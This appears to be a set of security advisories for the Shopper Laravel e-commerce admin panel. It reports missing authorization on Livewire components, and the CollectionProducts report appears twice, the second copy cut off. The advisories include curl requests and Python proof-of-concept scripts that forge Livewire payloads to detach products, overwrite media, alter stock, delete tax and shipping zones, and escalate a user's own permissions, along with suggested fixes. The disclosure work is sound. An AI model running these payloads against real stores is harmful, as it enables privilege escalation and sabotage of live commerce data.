            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Summary

Three Livewire admin components in shopper/framework (latest master at commit fcd0c59, released as v2.8.0) gate state-mutating actions on the read-only view_users permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / GHSA-f946-9qp6-vgch — the PR moved most write actions from view_users to access_setting, but three were missed (one of them is a brand-new file added by the security commit itself).

A staff user holding only view_users + access_dashboard (a realistic "support" or "viewer" role per Shopper's own PermissionsTableSeeder) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the admin role and then log in as that user; (3) delete arbitrary permissions rows (RBAC DoS) or — when can_be_removed=true — delete entire roles.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).

Vulnerable components (paths relative to repo root)

1) packages/admin/src/Livewire/Components/Settings/Team/Permissions.php

• togglePermission(int $id) at line 28 calls $this->authorize('view_users');
• removePermission(int $id) at line 55 calls $this->authorize('view_users');

The Permissions blade at packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php line 34 emits every permission's id directly in wire:click handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.

Net effect: any user who can mount the Permissions component (gated on view_users) can grant any permission row to the bound $role. Granting access_setting to the attacker's own role unlocks every action that PR #511 supposedly hardened with ->authorize('access_setting'). Granting delete_customers, edit_orders, edit_products, add_brands, etc. is direct data-modification escalation.

2) packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php

• mount() at line 53 calls $this->authorize('view_users');
• store() at line 122 calls $this->authorize('view_users');

This file is new file mode 100755 in commit fcd0c59 — it was created as part of the security fix and inherited the same misclassified gate.

store() creates a User with email_verified_at = now(), the attacker's chosen password, and any selected role_id. The Radio::make('role_id') options filter only excludes config('shopper.admin.roles.user'), so the admin role is selectable. Log out, log in as the new account → full admin.

3) packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php

• deleteAction at lines 81-90: only gated by ->visible($this->role->can_be_removed), with no ->authorize() chain.

Page-level mount (line 52) requires only view_users. For any role with can_be_removed = true, a view_users-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).

Self-confirmation in the project's own test suite

The following tests are green on master @ fcd0c59 — they ARE the PoC:

tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php
  line 14-16: `givePermissionTo('view_users')` only
  line 36-45: "can toggle permission to role" — passes
  line 74-85: "can remove permission" — passes

tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php
  line 16-18: `givePermissionTo('view_users')` only
  line 29-56: "can create new team member" — passes, asserts the new user `hasRole('manager')`

A view_users-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.

Suggested fix

Change $this->authorize('view_users') to $this->authorize('access_setting') in:

• Permissions::togglePermission
• Permissions::removePermission
• Permissions::mount (defence in depth, matches Team\Index)
• CreateTeamMember::mount
• CreateTeamMember::store

Add ->authorize('access_setting') to RolePermission::deleteAction (matches the pattern already applied to generatePermissionsAction, createPermissionAction, and Team\Index::DeleteAction).

Update the two regression tests to use access_setting instead of view_users so they accurately reflect the privilege boundary.

Resources

• Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch
• Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b
• CWE-285 Improper Authorization
• CWE-862 Missing Authorization

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and if users would like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shoppers thanks those who keeping open source safe.

Summary

Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).

Affected components

| Component | File | Unauthorized action | |---|---|---| | Settings\Zones\ZoneShippingOptions | packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47 | delete → CarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied) | | Settings\Zones\Detail | packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46 | delete → DeleteAction on the bound Zone | | Settings\Taxes\Detail | packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42 | delete → DeleteAction on the bound TaxZone | | Settings\Taxes\TaxRates | packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97 | delete → DeleteAction on a TaxRate |

Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.

Details

The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).

ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->requiresConfirmation()
        // ... no ->authorize(), no ->visible()
        ->action(function (array $arguments): void {
            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id
            // ...
        });
}

Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.

use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
    $attacker = User::factory()->create();
    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission
    $this->actingAs($attacker, config('shopper.auth.guard'));

    $zone   = Zone::factory()->create();
    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);

    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
        ->callAction('delete', arguments: ['id' => $option->id]);

    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable
});

Result:

Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)

PASS  3 passed (11 assertions)
  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
  ✓ a CarrierOption is deleted by the low-priv user
  ✓ a shipping Zone is deleted by the low-priv user

The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.

Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

• Delete a CarrierOption → that shipping rate disappears from checkout for the zone.
• Delete a Zone → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone / getManualRates read these directly).
• Delete a TaxZone / TaxRate → TaxCalculator::resolveZone() can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

Secondary issue found while reproducing

Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.

Suggested remediation

Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:

public function deleteAction(): Action
{
    return Action::make('delete')
        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission
        ->requiresConfirmation()
        // ...
}

Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse_* permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browse_attributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browse_tags can permanently delete every product tag. Users holding browse_brands, browse_categories, or browse_suppliers can flip the visibility (is_enabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browse_attributes.

• Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('delete_attributes')).
• Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_attributes-only user can delete every row in the attributes table, and toggle is_enabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attribute_product pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browse_tags.

• Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('delete_tags')).

Net effect: a browse_tags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browse_brands.

• Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_brands-only user can flip is_enabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browse_categories.

• Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_categories-only user can flip is_enabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browse_suppliers.

• Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_suppliers-only user can flip is_enabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

• packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('access_setting').
• packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('delete_reviews').
• packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('delete_collections').
• packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('delete_discounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse_*-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

   PASS  Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: browse_tags viewer can DELETE all product tags via unguarded DeleteBulkAction

  Tests:    7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse_* permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

$this->viewer = User::factory()->create();
$this->viewer->givePermissionTo('browse_attributes');
$this->actingAs($this->viewer);

Attribute::factory()->count(3)->create();
expect($this->viewer->can('delete_attributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class)
    ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray())
    ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correct_permission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

 // Pages/Attribute/Browse.php
 ->groupedBulkActions([
     DeleteBulkAction::make()
+        ->authorize('delete_attributes')
         ->label(__('shopper::forms.actions.delete'))
         ->requiresConfirmation()
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('enabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.enable'))
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('disabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.disable'))
         ->action(function (Collection $records): void { /* ... */ }),
 ])

Apply the equivalent change to Pages/Tag/Index.php (delete_tags), Pages/Brand/Index.php (edit_brands for enable/disable), Pages/Category/Index.php (edit_categories), and Pages/Supplier/Index.php (edit_suppliers).

A regression test for each file (acting as a browse_*-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

• Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr.
• Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain.
• CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
